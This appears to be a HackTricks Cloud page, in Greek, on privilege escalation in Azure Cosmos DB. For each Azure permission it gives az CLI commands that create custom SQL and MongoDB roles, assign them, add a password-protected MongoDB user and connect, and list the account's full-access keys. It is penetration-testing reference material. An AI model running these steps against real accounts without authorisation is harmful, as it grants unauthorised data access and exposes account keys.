Az - CosmosDB Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
CosmosDB Privesc
Για περισσότερες πληροφορίες σχετικά με τη SQL Database, ελέγξτε:
(Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read) & (Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read)
Με αυτές τις άδειες μπορείτε να εκτελέσετε privilege escalation δίνοντας σε έναν χρήστη τις άδειες να εκτελεί ερωτήματα και να συνδέεται στη βάση δεδομένων. Αρχικά, δημιουργείται ένας ρόλος ο οποίος δίνει τις απαραίτητες άδειες και πεδία.
az cosmosdb sql role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
"RoleName": "CustomReadRole",
"Type": "CustomRole",
"AssignableScopes": [
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
],
"Permissions": [
{
"DataActions": [
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
]
}
]
}'
Μετά από αυτό, η ανάθεση του ορισμού δίνεται σε έναν χρήστη. Μετά από αυτό, ο χρήστης μπορεί να χρησιμοποιήσει τη μέθοδο σύνδεσης DefaultAzureCredential() για να εκτελέσει ερωτήματα.
az cosmosdb sql role assignment create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--role-definition-id <Random-Unique-ID-used-in-definition> \
--principal-id <principal_id-togive-perms> \
--scope "/"
(Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read)&& (Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read)
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες ορισμούς ρόλων MongoDB εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει τον καθορισμό προσαρμοσμένων ρόλων με συγκεκριμένες άδειες για χρήστες MongoDB. Οι λειτουργίες RBAC πρέπει να είναι ενεργοποιημένες για να χρησιμοποιηθεί αυτό.
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
Μπορείτε να δημιουργήσετε νέες ορισμούς χρηστών MongoDB μέσα σε έναν λογαριασμό Azure Cosmos DB. Αυτό επιτρέπει την παροχή χρηστών με συγκεκριμένους ρόλους και πρόσβαση σε βάσεις δεδομένων MongoDB.
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
Μετά από αυτό, δημιουργείται ένας νέος χρήστης μέσα στο MongoDB, μπορούμε να έχουμε πρόσβαση σε αυτόν:
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
Microsoft.DocumentDB/databaseAccounts/listKeys/action
Με αυτή την άδεια, μπορείτε να ανακτήσετε τα κύρια και δευτερεύοντα κλειδιά για έναν λογαριασμό Azure Cosmos DB. Αυτά τα κλειδιά παρέχουν πλήρη πρόσβαση στον λογαριασμό της βάσης δεδομένων και τους πόρους του, επιτρέποντας ενέργειες όπως αναγνώσεις δεδομένων, εγγραφές και αλλαγές ρυθμίσεων.
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

